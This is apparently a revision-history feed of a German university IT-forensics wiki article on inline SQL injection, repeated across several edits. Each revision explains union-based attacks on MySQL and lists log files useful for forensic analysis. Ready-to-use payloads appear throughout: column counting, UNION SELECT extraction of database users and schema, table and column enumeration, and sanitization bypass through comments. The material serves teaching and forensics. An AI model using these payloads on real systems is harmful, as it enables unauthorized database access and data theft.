! Kommentarzeichen !! Funktion !! Anmerkung&lt;br /&gt;
|-&lt;br /&gt;
| -- || Einzeiliger Kommentar || Es muss ein Leerzeichen oder Steuerzeichen folgen&lt;br /&gt;
|-&lt;br /&gt;
| # || Einzeiliger Kommentar ||&lt;br /&gt;
|-&lt;br /&gt;
| /**/ || Mehrzeiliger Kommentar || Anwendungsbeispiel sind mehrere Eingabefelder (Benutzername, Passwort) oder aber das umgehen von sanitization bei welcher nach Schlüsselwörtern gesucht wird.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
3.) Identifikation der Spaltenanzahl:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; ORDER BY #; --&#039;&amp;lt;br&amp;gt;&lt;br /&gt;
Die # ist gegen eine Zahl zu ersetzen. Erscheint eine Fehlermeldung, ist die maximale Anzahl an Spalten für die angezeigte Tabelle überschritten wurde. Diese Zahl -1 entspricht dann also der tatsächlichen Spaltenzahl.&lt;br /&gt;
Dieser Punkt ist relevant, da die korrekte Anzahl der vorliegenden Spalten (siehe folgend) auch immer korrekt angegeben werden muss. So würde Punkt 4. nicht funktionieren, wenn die Tabelle über 7 Spalten verfügt.&lt;br /&gt;
&lt;br /&gt;
4.) Extraktion von Informationen über die Datenbank wie Schemaname, MySQL-Version, User, etc.:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT user(),database(),version(),schema(),UUID(),current_user(),system_user(),session_user() #&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5.) Zeigt alle verfügbaren Tabellen des Schemas an:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
6.) Zeigt Spalten der angegebenen Tabelle (Adresse) an:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME=&#039;Adresse&#039; ##&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7.) Extraktion von Daten aus Table Adresse, Spalte Straße:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; UNION SELECT NULL,concat(Straße),NULL,NULL,NULL,NULL,NULL,NULL from Adresse-- -&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Forensische Analyse ==&lt;br /&gt;
&lt;br /&gt;
Je nach DBMS liegen unterschiedliche Logfiles vor. Außerdem müssen diese unter anderem auch erst aktiviert werden, da dies nicht per Default passiert.&lt;br /&gt;
Die nachfolgende Tabelle soll etwaige Arten von Logdateien aufzeigen:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! DBMS !! Name !! Ziel !! Path bzw. Datei !! Besonderheiten !!&lt;br /&gt;
|-&lt;br /&gt;
| MySQL || General Query Log || Verbindungsinformationen und alle abgesetzten Statements || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*.log &amp;lt;br&amp;gt;Linux: /var/lib/mysql/general_log.CSV || Nicht per Default aktiv&lt;br /&gt;
|-&lt;br /&gt;
| MySQL || Binary Log || Alle Data modifications&amp;lt;br&amp;gt;DDL &amp;amp; DML || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*-bin&amp;lt;br&amp;gt;Linux: /var/lib/mysql/binlog.* || Aufruf mit: mysqlbinlog -v /path/to/log&lt;br /&gt;
|-&lt;br /&gt;
| MongoDB || mongodb.log || Je nach Konfiguration Components wie ACCESS, NETWORK, QUERY || /var/log/mongodb/mongodb.log || Je nach Verbosity Settings bzw. Log Level (Default 0 = Informational only) recht wenig Inhalt&lt;br /&gt;
|-&lt;br /&gt;
| PostgreSQL || postgresql-*.log || Je nach Konfiguration || Windows / Linux: Installdir/data/postgresql-*.log || Je nach Konfiguration mit wenig / gar kein Inhalt, per Default none&lt;br /&gt;
|-&lt;br /&gt;
| Oracle || Beispiel || Beispiel || Beispiel || Beispiel&lt;br /&gt;
|-&lt;br /&gt;
| Erweitere || mich || gerne || Beispiel || Beispiel&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Zu beachten ist außerdem die Existenz weiterer Quellen, insbesondere Logs einer WAF oder der Firewall für eine generelle Aussage über einen Zugriff &amp;lt;&amp;gt; IP.&lt;br /&gt;
&lt;br /&gt;
== Quellen ==&lt;/div&gt;</summary>
		<author><name>St191426</name></author>
	</entry>
	<entry>
		<id>http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2249</id>
		<title>Inline (Queries) SQL Injection</title>
		<link rel="alternate" type="text/html" href="http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2249"/>
		<updated>2022-02-26T13:13:04Z</updated>

		<summary type="html">&lt;p&gt;St191426: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Inline (Queries) SQL Injection ==&lt;br /&gt;
&lt;br /&gt;
Die Inline SQL Injection heißt deshalb so, weil diese direkt in ein dafür vorgesehenes Eingabefeld hinter welchem sich eine Query verbirgt eingebracht wird. Dies kann z.B. an einer Anmeldemaske oder aber einer Produktsuche der Fall sein.&lt;br /&gt;
Auch die Ausgabe der Ergebnisse erfolgt über den selben Kanal, so werden anstatt des gesuchten Produkts z.B. verfügbare Tabellen der Datenbank ausgegeben.&lt;br /&gt;
&lt;br /&gt;
Die Injection funktioniert meist so, dass der eingebrachte Code &amp;amp; die eigentliche Query ausgeführt wird. Die Injection wird also zusätzlich zu der eigentlichen Suchabfrage ausgeführt.&lt;br /&gt;
Je nach Gestaltung der eingebrachten Query, kann der rest der ursprünglichen Query auch abgeschnitten werden, sodass diese nicht mehr ausgeführt wird (siehe Beispiele).&lt;br /&gt;
&lt;br /&gt;
Die Inline-Injections sind grob einzuteilen in &amp;lt;ref&amp;gt;[https://www.acunetix.com/websitesecurity/sql-injection2/ &#039;&#039;Types of SQL Injection (SQLi)&#039;&#039;] Types of SQL Injection (SQLi). Abgerufen am 26. Februar 2022.&amp;lt;/ref&amp;gt;:&lt;br /&gt;
# [[Error Based SQL Injection|Error Based SQL Injection]]&lt;br /&gt;
# Union-based SQLi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Außerdem ist erwähnenswert, dass sowohl &lt;br /&gt;
# Inline-Stringinjections&lt;br /&gt;
# Inline-Injections von numerischen Werten&lt;br /&gt;
möglich sind.&lt;br /&gt;
&lt;br /&gt;
== Beispiel ==&lt;br /&gt;
&lt;br /&gt;
Alle Beispiele sind in MySQL 8 formuliert, andere Versionen oder unterschiedliche DBMS können also ein Fehlerhaftes Resultat erzeugen.&lt;br /&gt;
&lt;br /&gt;
1.) Simple Inline SQLi:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039;&amp;lt;br&amp;gt;&lt;br /&gt;
Wird eine SQL-Fehlermeldung ausgegeben, ist das ein Hinweis darauf, dass keine sanitization stattfindet und das Feld vulnerable ist.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2.) Abschluss (abtrennen) der ursprünglichen SQL Anweisung:&lt;br /&gt;
Hierfür gibt es unterschiedliche Methoden, alle arbeiten jedoch mit Kommentarzeichen, sodass auch mit Einschränkungen (wie z.B. einer vorliegenden sanitization) umgegangen werden kann.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Kommentarzeichen !! Funktion !! Anmerkung&lt;br /&gt;
|-&lt;br /&gt;
| -- || Einzeiliger Kommentar || Es muss ein Leerzeichen oder Steuerzeichen folgen&lt;br /&gt;
|-&lt;br /&gt;
| # || Einzeiliger Kommentar ||&lt;br /&gt;
|-&lt;br /&gt;
| /**/ || Mehrzeiliger Kommentar || Anwendungsbeispiel sind mehrere Eingabefelder (Benutzername, Passwort) oder aber das umgehen von sanitization bei welcher nach Schlüsselwörtern gesucht wird.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
3.) Identifikation der Spaltenanzahl:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; ORDER BY #; --&#039;&amp;lt;br&amp;gt;&lt;br /&gt;
Die # ist gegen eine Zahl zu ersetzen. Erscheint eine Fehlermeldung, ist die maximale Anzahl an Spalten für die angezeigte Tabelle überschritten wurde. Diese Zahl -1 entspricht dann also der tatsächlichen Spaltenzahl.&lt;br /&gt;
Dieser Punkt ist relevant, da die korrekte Anzahl der vorliegenden Spalten (siehe folgend) auch immer korrekt angegeben werden muss. So würde Punkt 4. nicht funktionieren, wenn die Tabelle über 7 Spalten verfügt.&lt;br /&gt;
&lt;br /&gt;
4.) Extraktion von Informationen über die Datenbank wie Schemaname, MySQL-Version, User, etc.:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT user(),database(),version(),schema(),UUID(),current_user(),system_user(),session_user() #&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5.) Zeigt alle verfügbaren Tabellen des Schemas an:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
6.) Zeigt Spalten der angegebenen Tabelle (Adresse) an:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME=&#039;Adresse&#039; ##&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7.) Extraktion von Daten aus Table Adresse, Spalte Straße:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; UNION SELECT NULL,concat(Straße),NULL,NULL,NULL,NULL,NULL,NULL from Adresse-- -&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Forensische Analyse ==&lt;br /&gt;
&lt;br /&gt;
Je nach DBMS liegen unterschiedliche Logfiles vor. Außerdem müssen diese unter anderem auch erst aktiviert werden, da dies nicht per Default passiert.&lt;br /&gt;
Die nachfolgende Tabelle soll etwaige Arten von Logdateien aufzeigen:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! DBMS !! Name !! Ziel !! Path bzw. Datei !! Besonderheiten !!&lt;br /&gt;
|-&lt;br /&gt;
| MySQL || General Query Log || Verbindungsinformationen und alle abgesetzten Statements || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*.log &amp;lt;br&amp;gt;Linux: /var/lib/mysql/general_log.CSV || Nicht per Default aktiv&lt;br /&gt;
|-&lt;br /&gt;
| MySQL || Binary Log || Alle Data modifications&amp;lt;br&amp;gt;DDL &amp;amp; DML || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*-bin&amp;lt;br&amp;gt;Linux: /var/lib/mysql/binlog.* || Aufruf mit: mysqlbinlog -v /path/to/log&lt;br /&gt;
|-&lt;br /&gt;
| MongoDB || mongodb.log || Je nach Konfiguration Components wie ACCESS, NETWORK, QUERY || /var/log/mongodb/mongodb.log || Je nach Verbosity Settings bzw. Log Level (Default 0 = Informational only) recht wenig Inhalt&lt;br /&gt;
|-&lt;br /&gt;
| PostgreSQL || Beispiel || Beispiel || Beispiel || Beispiel&lt;br /&gt;
|-&lt;br /&gt;
| Oracle || Beispiel || Beispiel || Beispiel || Beispiel&lt;br /&gt;
|-&lt;br /&gt;
| Erweitere || mich || gerne || Beispiel || Beispiel&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Zu beachten ist außerdem die Existenz weiterer Quellen, insbesondere Logs einer WAF oder der Firewall für eine generelle Aussage über einen Zugriff &amp;lt;&amp;gt; IP.&lt;br /&gt;
&lt;br /&gt;
== Quellen ==&lt;/div&gt;</summary>
		<author><name>St191426</name></author>
	</entry>
	<entry>
		<id>http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2248</id>
		<title>Inline (Queries) SQL Injection</title>
		<link rel="alternate" type="text/html" href="http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2248"/>
		<updated>2022-02-26T12:48:33Z</updated>

		<summary type="html">&lt;p&gt;St191426: /* Forensische Analyse */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Inline (Queries) SQL Injection ==&lt;br /&gt;
&lt;br /&gt;
Die Inline SQL Injection heißt deshalb so, weil diese direkt in ein dafür vorgesehenes Eingabefeld hinter welchem sich eine Query verbirgt eingebracht wird. Dies kann z.B. an einer Anmeldemaske oder aber einer Produktsuche der Fall sein.&lt;br /&gt;
Auch die Ausgabe der Ergebnisse erfolgt über den selben Kanal, so werden anstatt des gesuchten Produkts z.B. verfügbare Tabellen der Datenbank ausgegeben.&lt;br /&gt;
&lt;br /&gt;
Die Injection funktioniert meist so, dass der eingebrachte Code &amp;amp; die eigentliche Query ausgeführt wird. Die Injection wird also zusätzlich zu der eigentlichen Suchabfrage ausgeführt.&lt;br /&gt;
Je nach Gestaltung der eingebrachten Query, kann der rest der ursprünglichen Query auch abgeschnitten werden, sodass diese nicht mehr ausgeführt wird (siehe Beispiele).&lt;br /&gt;
&lt;br /&gt;
Die Inline-Injections sind grob einzuteilen in &amp;lt;ref&amp;gt;[https://www.acunetix.com/websitesecurity/sql-injection2/ &#039;&#039;Types of SQL Injection (SQLi)&#039;&#039;] Types of SQL Injection (SQLi). Abgerufen am 26. Februar 2022.&amp;lt;/ref&amp;gt;:&lt;br /&gt;
# [[Error Based SQL Injection|Error Based SQL Injection]]&lt;br /&gt;
# Union-based SQLi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Außerdem ist erwähnenswert, dass sowohl &lt;br /&gt;
# Inline-Stringinjections&lt;br /&gt;
# Inline-Injections von numerischen Werten&lt;br /&gt;
möglich sind.&lt;br /&gt;
&lt;br /&gt;
== Beispiel ==&lt;br /&gt;
&lt;br /&gt;
Alle Beispiele sind in MySQL 8 formuliert, andere Versionen oder unterschiedliche DBMS können also ein Fehlerhaftes Resultat erzeugen.&lt;br /&gt;
&lt;br /&gt;
1.) Simple Inline SQLi:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039;&amp;lt;br&amp;gt;&lt;br /&gt;
Wird eine SQL-Fehlermeldung ausgegeben, ist das ein Hinweis darauf, dass keine sanitization stattfindet und das Feld vulnerable ist.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2.) Abschluss (abtrennen) der ursprünglichen SQL Anweisung:&lt;br /&gt;
Hierfür gibt es unterschiedliche Methoden, alle arbeiten jedoch mit Kommentarzeichen, sodass auch mit Einschränkungen (wie z.B. einer vorliegenden sanitization) umgegangen werden kann.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Kommentarzeichen !! Funktion !! Anmerkung&lt;br /&gt;
|-&lt;br /&gt;
| -- || Einzeiliger Kommentar || Es muss ein Leerzeichen oder Steuerzeichen folgen&lt;br /&gt;
|-&lt;br /&gt;
| # || Einzeiliger Kommentar ||&lt;br /&gt;
|-&lt;br /&gt;
| /**/ || Mehrzeiliger Kommentar || Anwendungsbeispiel sind mehrere Eingabefelder (Benutzername, Passwort) oder aber das umgehen von sanitization bei welcher nach Schlüsselwörtern gesucht wird.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
3.) Identifikation der Spaltenanzahl:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; ORDER BY #; --&#039;&amp;lt;br&amp;gt;&lt;br /&gt;
Die # ist gegen eine Zahl zu ersetzen. Erscheint eine Fehlermeldung, ist die maximale Anzahl an Spalten für die angezeigte Tabelle überschritten wurde. Diese Zahl -1 entspricht dann also der tatsächlichen Spaltenzahl.&lt;br /&gt;
Dieser Punkt ist relevant, da die korrekte Anzahl der vorliegenden Spalten (siehe folgend) auch immer korrekt angegeben werden muss. So würde Punkt 4. nicht funktionieren, wenn die Tabelle über 7 Spalten verfügt.&lt;br /&gt;
&lt;br /&gt;
4.) Extraktion von Informationen über die Datenbank wie Schemaname, MySQL-Version, User, etc.:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT user(),database(),version(),schema(),UUID(),current_user(),system_user(),session_user() #&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5.) Zeigt alle verfügbaren Tabellen des Schemas an:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
6.) Zeigt Spalten der angegebenen Tabelle (Adresse) an:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME=&#039;Adresse&#039; ##&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7.) Extraktion von Daten aus Table Adresse, Spalte Straße:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; UNION SELECT NULL,concat(Straße),NULL,NULL,NULL,NULL,NULL,NULL from Adresse-- -&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Forensische Analyse ==&lt;br /&gt;
&lt;br /&gt;
Je nach DBMS liegen unterschiedliche Logfiles vor. Außerdem müssen diese unter anderem auch erst aktiviert werden, da dies nicht per Default passiert.&lt;br /&gt;
Die nachfolgende Tabelle soll etwaige Arten von Logdateien aufzeigen:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! DBMS !! Name !! Ziel !! Path bzw. Datei !! Besonderheiten !!&lt;br /&gt;
|-&lt;br /&gt;
| MySQL || General Query Log || Verbindungsinformationen und alle abgesetzten Statements || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*.log &amp;lt;br&amp;gt;Linux: /var/lib/mysql/general_log.CSV || Nicht per Default aktiv&lt;br /&gt;
|-&lt;br /&gt;
| MySQL || Binary Log || Alle Data modifications&amp;lt;br&amp;gt;DDL &amp;amp; DML || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*-bin&amp;lt;br&amp;gt;Linux: /var/lib/mysql/binlog.* || Aufruf mit: mysqlbinlog -v /path/to/log&lt;br /&gt;
|-&lt;br /&gt;
| Oracle || Beispiel || Beispiel || Beispiel || Beispiel&lt;br /&gt;
|-&lt;br /&gt;
| Oracle || Beispiel || Beispiel || Beispiel || Beispiel&lt;br /&gt;
|-&lt;br /&gt;
| Beispiel || Beispiel || Beispiel || Beispiel || Beispiel&lt;br /&gt;
|-&lt;br /&gt;
| Beispiel || Beispiel || Beispiel || Beispiel || Beispiel&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Zu beachten ist außerdem die Existenz weiterer Quellen, insbesondere Logs einer WAF oder der Firewall für eine generelle Aussage über einen Zugriff &amp;lt;&amp;gt; IP.&lt;br /&gt;
&lt;br /&gt;
== Quellen ==&lt;/div&gt;</summary>
		<author><name>St191426</name></author>
	</entry>
	<entry>
		<id>http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2247</id>
		<title>Inline (Queries) SQL Injection</title>
		<link rel="alternate" type="text/html" href="http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2247"/>
		<updated>2022-02-26T12:44:29Z</updated>

		<summary type="html">&lt;p&gt;St191426: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Inline (Queries) SQL Injection ==&lt;br /&gt;
&lt;br /&gt;
Die Inline SQL Injection heißt deshalb so, weil diese direkt in ein dafür vorgesehenes Eingabefeld hinter welchem sich eine Query verbirgt eingebracht wird. Dies kann z.B. an einer Anmeldemaske oder aber einer Produktsuche der Fall sein.&lt;br /&gt;
Auch die Ausgabe der Ergebnisse erfolgt über den selben Kanal, so werden anstatt des gesuchten Produkts z.B. verfügbare Tabellen der Datenbank ausgegeben.&lt;br /&gt;
&lt;br /&gt;
Die Injection funktioniert meist so, dass der eingebrachte Code &amp;amp; die eigentliche Query ausgeführt wird. Die Injection wird also zusätzlich zu der eigentlichen Suchabfrage ausgeführt.&lt;br /&gt;
Je nach Gestaltung der eingebrachten Query, kann der rest der ursprünglichen Query auch abgeschnitten werden, sodass diese nicht mehr ausgeführt wird (siehe Beispiele).&lt;br /&gt;
&lt;br /&gt;
Die Inline-Injections sind grob einzuteilen in &amp;lt;ref&amp;gt;[https://www.acunetix.com/websitesecurity/sql-injection2/ &#039;&#039;Types of SQL Injection (SQLi)&#039;&#039;] Types of SQL Injection (SQLi). Abgerufen am 26. Februar 2022.&amp;lt;/ref&amp;gt;:&lt;br /&gt;
# [[Error Based SQL Injection|Error Based SQL Injection]]&lt;br /&gt;
# Union-based SQLi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Außerdem ist erwähnenswert, dass sowohl &lt;br /&gt;
# Inline-Stringinjections&lt;br /&gt;
# Inline-Injections von numerischen Werten&lt;br /&gt;
möglich sind.&lt;br /&gt;
&lt;br /&gt;
== Beispiel ==&lt;br /&gt;
&lt;br /&gt;
Alle Beispiele sind in MySQL 8 formuliert, andere Versionen oder unterschiedliche DBMS können also ein Fehlerhaftes Resultat erzeugen.&lt;br /&gt;
&lt;br /&gt;
1.) Simple Inline SQLi:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039;&amp;lt;br&amp;gt;&lt;br /&gt;
Wird eine SQL-Fehlermeldung ausgegeben, ist das ein Hinweis darauf, dass keine sanitization stattfindet und das Feld vulnerable ist.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2.) Abschluss (abtrennen) der ursprünglichen SQL Anweisung:&lt;br /&gt;
Hierfür gibt es unterschiedliche Methoden, alle arbeiten jedoch mit Kommentarzeichen, sodass auch mit Einschränkungen (wie z.B. einer vorliegenden sanitization) umgegangen werden kann.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Kommentarzeichen !! Funktion !! Anmerkung&lt;br /&gt;
|-&lt;br /&gt;
| -- || Einzeiliger Kommentar || Es muss ein Leerzeichen oder Steuerzeichen folgen&lt;br /&gt;
|-&lt;br /&gt;
| # || Einzeiliger Kommentar ||&lt;br /&gt;
|-&lt;br /&gt;
| /**/ || Mehrzeiliger Kommentar || Anwendungsbeispiel sind mehrere Eingabefelder (Benutzername, Passwort) oder aber das umgehen von sanitization bei welcher nach Schlüsselwörtern gesucht wird.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
3.) Identifikation der Spaltenanzahl:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; ORDER BY #; --&#039;&amp;lt;br&amp;gt;&lt;br /&gt;
Die # ist gegen eine Zahl zu ersetzen. Erscheint eine Fehlermeldung, ist die maximale Anzahl an Spalten für die angezeigte Tabelle überschritten wurde. Diese Zahl -1 entspricht dann also der tatsächlichen Spaltenzahl.&lt;br /&gt;
Dieser Punkt ist relevant, da die korrekte Anzahl der vorliegenden Spalten (siehe folgend) auch immer korrekt angegeben werden muss. So würde Punkt 4. nicht funktionieren, wenn die Tabelle über 7 Spalten verfügt.&lt;br /&gt;
&lt;br /&gt;
4.) Extraktion von Informationen über die Datenbank wie Schemaname, MySQL-Version, User, etc.:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT user(),database(),version(),schema(),UUID(),current_user(),system_user(),session_user() #&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5.) Zeigt alle verfügbaren Tabellen des Schemas an:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
6.) Zeigt Spalten der angegebenen Tabelle (Adresse) an:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME=&#039;Adresse&#039; ##&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7.) Extraktion von Daten aus Table Adresse, Spalte Straße:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; UNION SELECT NULL,concat(Straße),NULL,NULL,NULL,NULL,NULL,NULL from Adresse-- -&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Forensische Analyse ==&lt;br /&gt;
&lt;br /&gt;
Je nach DBMS liegen unterschiedliche Logfiles vor. Außerdem müssen diese unter anderem auch erst aktiviert werden, da dies nicht per Default passiert.&lt;br /&gt;
Die nachfolgende Tabelle soll etwaige Arten von Logdateien aufzeigen:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! DBMS !! Name !! Ziel !! Path bzw. Datei !! Besonderheiten !!&lt;br /&gt;
|-&lt;br /&gt;
| MySQL || General Query Log || Verbindungsinformationen und alle abgesetzten Statements || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*.log &amp;lt;br&amp;gt;Linux: /var/lib/mysql/general_log.CSV || Nicht per Default aktiv&lt;br /&gt;
|-&lt;br /&gt;
| MySQL || Binary Log || Alle Data modifications&amp;lt;br&amp;gt;DDL &amp;amp; DML || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*-bin&amp;lt;br&amp;gt;Linux: /var/lib/mysql/binlog.* || Aufruf mit: mysqlbinlog -v /path/to/log&lt;br /&gt;
|-&lt;br /&gt;
| Beispiel || Beispiel || Beispiel || Beispiel || Beispiel&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Zu beachten ist außerdem die Existenz weiterer Quellen, insbesondere Logs einer WAF oder der Firewall für eine generelle Aussage über einen Zugriff &amp;lt;&amp;gt; IP.&lt;br /&gt;
&lt;br /&gt;
== Quellen ==&lt;/div&gt;</summary>
		<author><name>St191426</name></author>
	</entry>
	<entry>
		<id>http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2246</id>
		<title>Inline (Queries) SQL Injection</title>
		<link rel="alternate" type="text/html" href="http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2246"/>
		<updated>2022-02-26T12:07:37Z</updated>

		<summary type="html">&lt;p&gt;St191426: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Inline (Queries) SQL Injection ==&lt;br /&gt;
&lt;br /&gt;
Die Inline SQL Injection heißt deshalb so, weil diese direkt in ein dafür vorgesehenes Eingabefeld hinter welchem sich eine Query verbirgt eingebracht wird. Dies kann z.B. an einer Anmeldemaske oder aber einer Produktsuche der Fall sein.&lt;br /&gt;
Auch die Ausgabe der Ergebnisse erfolgt über den selben Kanal, so werden anstatt des gesuchten Produkts z.B. verfügbare Tabellen der Datenbank ausgegeben.&lt;br /&gt;
&lt;br /&gt;
Die Injection funktioniert meist so, dass der eingebrachte Code &amp;amp; die eigentliche Query ausgeführt wird. Die Injection wird also zusätzlich zu der eigentlichen Suchabfrage ausgeführt.&lt;br /&gt;
Je nach Gestaltung der eingebrachten Query, kann der rest der ursprünglichen Query auch abgeschnitten werden, sodass diese nicht mehr ausgeführt wird (siehe Beispiele).&lt;br /&gt;
&lt;br /&gt;
Die Inline-Injections sind grob einzuteilen in:&lt;br /&gt;
# [[Error Based SQL Injection|Error Based SQL Injection]]&lt;br /&gt;
# Union-based SQLi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Außerdem ist erwähnenswert, dass sowohl &lt;br /&gt;
# Inline-Stringinjections&lt;br /&gt;
# Inline-Injections von numerischen Werten&lt;br /&gt;
möglich sind.&lt;br /&gt;
&lt;br /&gt;
== Beispiel ==&lt;br /&gt;
&lt;br /&gt;
Simple Inline SQLi (MySQL):&lt;br /&gt;
&lt;br /&gt;
Abschluss (abtrennen) der ursprünglichen SQL Anweisung (Seite 82):&lt;br /&gt;
&lt;br /&gt;
Beispiel Ref: &amp;lt;ref&amp;gt;[https://evil.com &#039;&#039;Evil Link Description&#039;&#039;] Text behind desc. Abgerufen am xx. Februar 2022.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Forensische Analyse ==&lt;br /&gt;
&lt;br /&gt;
Je nach DBMS liegen unterschiedliche Logfiles vor. Außerdem müssen diese unter anderem auch erst aktiviert werden, da dies nicht per Default passiert.&lt;br /&gt;
Die nachfolgende Tabelle soll etwaige Arten von Logdateien aufzeigen:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
